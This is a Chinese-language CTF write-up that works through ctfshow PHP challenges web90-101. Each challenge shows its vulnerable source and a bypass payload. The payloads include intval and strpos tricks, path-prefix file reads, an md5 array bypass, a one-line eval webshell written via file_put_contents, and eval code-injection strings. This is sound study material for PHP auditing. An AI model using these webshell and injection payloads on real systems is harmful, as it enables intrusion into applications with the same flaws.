PHP代码审计-----以ctfshow php特性90-101为例

web90

 实例:<?php
echo intval(42);                      // 42
echo intval(4.2);                     // 4
echo intval('42');                    // 42
echo intval('+42');                   // 42
echo intval('-42');                   // -42
echo intval(042);                     // 34
echo intval('042');                   // 42
echo intval(1e10);                    // 1410065408
echo intval('1e10');                  // 1
echo intval(0x1A);                    // 26
echo intval(42000000);                // 42000000
echo intval(420000000000000000000);   // 0
echo intval('420000000000000000000'); // 2147483647
echo intval(42, 8);                   // 42
echo intval('42', 8);                 // 34
echo intval(array());                 // 0
echo intval(array('foo', 'bar'));     // 1
?>

来看一下题目

 当值等于4476时便可以,intval取的是我们所输入内容开头的整数,也就是说我们传入含有字符的字符串,例如?num=4476a,那么intval(“4476c”)也等于4476。

构造pyload:num=4476c,URL栏输入既可

web91

preg_match 函数用于执行一个正则表达式匹配

^ 表示匹配文本的起始位置

/i   表示匹配大小写

/m  表示多行匹配

引入题目源码:

对其解码得:多行之内要有php,但一行之内不能有php

构造paylaod:cmd=%0aphp 

web92

看源码

类似于web90也是intval函数的考验。

构造pyload:4476e123。

原理:这样以科学计数法方式的,可以绕过第一个if判断,intval()函数如果$base为0则$var中存在字母的话遇到字母就停止读取,所以intval遇到4476e123会变成4476。 

web93

 <?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
} 

 如源码所示过滤了a-z用不了16进制和科学计数法了,但可以用8进制

payload:010574

web94

源码:

 <?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
} 

第一个if是强等判断(即判断类型又判断内容)

第三个if的意思   传进来的字符串必须要有0,而且是不能以0开头

而对于strpos函数来说我们可以用换行(%0a)和空格进行绕过

payload:?num=%0a010574或payload:?num=4476.0  

web95

 <?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
} 

分析源码与94差不多多了一个点的过滤

payload:?num= 010574或payload:?num=%0a010574

web96

<?php
highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }


}

这里的$_GET[u]是弱类型比较可以在前面加路径绕过比较,但是文件还是可以正常读取

payload:u=./flag.php或payload:u=/var/www/html/flag.php

web97

<?php
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

对源码分析:a要不等于b,但是md5要相等,可以用数组,直接用MD5数组返回的是相同的值这点绕过过滤。

payload:a[]=1&b[]=2

web98

<?php
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?> 

看源码发现是三元表达式

三元表达式:

条件表达式?表达式1:表达式2
条件表达式为true时调用表达式1,为false时调用表达式2 

附上知识:

php三元运算符与if的详解

对源码解析得到:

如果有get参数那么get=$_post否则get=flag

如果get的flag变量等于flag那么get=cookie

如果get的flag变量等于flag那么get=$_SERVER

如果get的http_flag变量等于flag,那么输出 flag

法一

我们利用第一行和第四行:先让get有参数让它为真,从而拿post数据构造pyload

payload:get传参   ?1=1  或 ?2=2等随机数都可以

                post传参   HTTP_FLAG=flag

法二

我们利用get传参让它拿post数据,post传入flag=flag拿cookie数据,cookie则传入第四行的判断

payload:get传参   ?1=1   同上

                  post传参   flag=flag  (让它进入第二行的判断,拿cookie数据)

                  cookie传参  HTTP_FLAG=flag

web99

 <?php
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

?>

分析源码:

for循环里面的意思是取随机数1到36之间一个数,1到37之间一个数,1到38一个数,直到1到877,然后把每次拿到的随机数追加到allow数组里面

in_array判断allow数组里面是否有n参数

进行构造pyload:

get传参  n=1.php

post传参 content=<?php eval($_POST[a]);?>

web100

 看看源码:

 <?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}
?>

Notice: Undefined index: v1 in /var/www/html/index.php on line 17

Notice: Undefined index: v2 in /var/www/html/index.php on line 18

Notice: Undefined index: v3 in /var/www/html/index.php on line 19

分析:is_numeric检测变量是否为数字或数字字符串

v0那一行:赋值的优先级要高于and,所以不用管v2 v3是不是数字,只会把v1赋值给v0

if匹配v2里面不能有;号,v3里面要有;号。

payload:?v1=21&v2=var_dump($ctfshow)/*&v3=*/;

web101

 <?php

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}

?>

看看源码与上一题相似,但过滤了/,*等,只能换一种做法

可以使用ReflectionClass类:PHP: ReflectionClass 

payload:?v1=1&v2=echo new ReflectionClass&v3=;